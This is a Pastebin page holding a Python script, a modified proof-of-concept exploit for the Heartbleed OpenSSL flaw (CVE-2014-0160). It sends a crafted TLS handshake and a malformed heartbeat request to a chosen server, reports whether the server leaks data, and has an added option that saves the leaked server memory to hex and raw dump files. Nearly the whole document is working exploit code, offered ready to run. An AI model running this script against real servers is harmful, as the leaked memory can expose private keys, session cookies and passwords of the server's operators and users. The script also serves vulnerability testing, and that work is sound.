Advertisement
felmoltor

heartbleed.py with file dumps feature

Apr 9th, 2014
776
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.75 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  4. # The author disclaims copyright to this source code.
  5.  
  6. # Modified for simplified checking by Yonathan Klijnsma
  7.  
  8. # Added timeout option by Luis Landeiro Ribeiro
  9.  
  10. # 2014-04-09: Felipe Molina (@felmoltor): Modified to dump the response to a char and hex file if requested
  11.  
  12. import sys
  13. import struct
  14. import socket
  15. import time
  16. import select
  17. import re
  18. from optparse import OptionParser
  19.  
  20. target = None
  21.  
  22. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  23. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  24. options.add_option('-t', '--timeout', type='int', default=2, help='Timeout in seconds (default 2s)')
  25. options.add_option('-d', '--dump', action="store_true", default=False, help='Dump the captured traffic to a hex and char file (default False)')
  26.  
  27. def h2bin(x):
  28.     return x.replace(' ', '').replace('\n', '').decode('hex')
  29.  
  30. hello = h2bin('''
  31. 16 03 02 00  dc 01 00 00 d8 03 02 53
  32. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  33. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  34. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  35. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  36. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  37. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  38. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  39. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  40. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  41. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  42. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  43. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  44. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  45. 00 0f 00 01 01                                  
  46. ''')
  47.  
  48. hb = h2bin('''
  49. 18 03 02 00 03
  50. 01 40 00
  51. ''')
  52.  
  53. def hexdump(s):
  54.     for b in xrange(0, len(s), 16):
  55.         lin = [c for c in s[b : b + 16]]
  56.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  57.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  58.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  59.     print
  60.  
  61. def recvall(s, length, timeout=5):
  62.     endtime = time.time() + timeout
  63.     rdata = ''
  64.     remain = length
  65.     while remain > 0:
  66.         rtime = endtime - time.time()
  67.         if rtime < 0:
  68.             return None
  69.         r, w, e = select.select([s], [], [], 5)
  70.         if s in r:
  71.             data = s.recv(remain)
  72.             # EOF?
  73.             if not data:
  74.                 return None
  75.             rdata += data
  76.             remain -= len(data)
  77.     return rdata
  78.        
  79.  
  80. def recvmsg(s):
  81.     hdr = recvall(s, 5)
  82.     if hdr is None:
  83.         return None, None, None
  84.     typ, ver, ln = struct.unpack('>BHH', hdr)
  85.     pay = recvall(s, ln, 10)
  86.     if pay is None:
  87.         return None, None, None
  88.  
  89.     return typ, ver, pay
  90.  
  91. def hit_hb(s,dump):
  92.     global target
  93.     s.send(hb)
  94.     while True:
  95.         typ, ver, pay = recvmsg(s)
  96.         if typ is None:
  97.             print target + '|NOT VULNERABLE'
  98.             return False
  99.  
  100.         if typ == 24:
  101.             if len(pay) > 3:
  102.                 print target + '|VULNERABLE'
  103.                 if dump:
  104.                     hdump = open("%s.%s-heartbleed.hex" % (int(time.time()),target),"w")
  105.                     sdump = open("%s.%s-heartbleed.out" % (int(time.time()),target),"w")
  106.                     sdump.write(pay)
  107.                     sdump.close()
  108.                     ncols = 0
  109.                     for x in pay:
  110.                         ncols += 1
  111.                         hdump.write(" ")
  112.                         hdump.write(x.encode('hex'))
  113.                         if ncols % 30 == 0:
  114.                             hdump.write("\n")
  115.                     hdump.close()
  116.             else:
  117.                 print target + '|NOT VULNERABLE'
  118.             return True
  119.  
  120.         if typ == 21:
  121.             print target + '|NOT VULNERABLE'
  122.             return False
  123.  
  124. def main():
  125.     global target
  126.     opts, args = options.parse_args()
  127.     if len(args) < 1:
  128.         options.print_help()
  129.         return
  130.  
  131.     target = args[0]
  132.  
  133.     try:
  134.       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  135.       s.settimeout(opts.timeout)
  136.       sys.stdout.flush()
  137.       s.connect((args[0], opts.port))
  138.       sys.stdout.flush()
  139.       s.send(hello)
  140.       sys.stdout.flush()
  141.       while True:
  142.           typ, ver, pay = recvmsg(s)
  143.           if typ == None:
  144.               return
  145.           # Look for server hello done message.
  146.           if typ == 22 and ord(pay[0]) == 0x0E:
  147.               break
  148.  
  149.       sys.stdout.flush()
  150.       s.send(hb)
  151.       hit_hb(s,opts.dump)
  152.      
  153.      
  154.  
  155.     except:
  156.       print target + '|TIMEOUT'
  157.  
  158.  
  159. if __name__ == '__main__':
  160.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement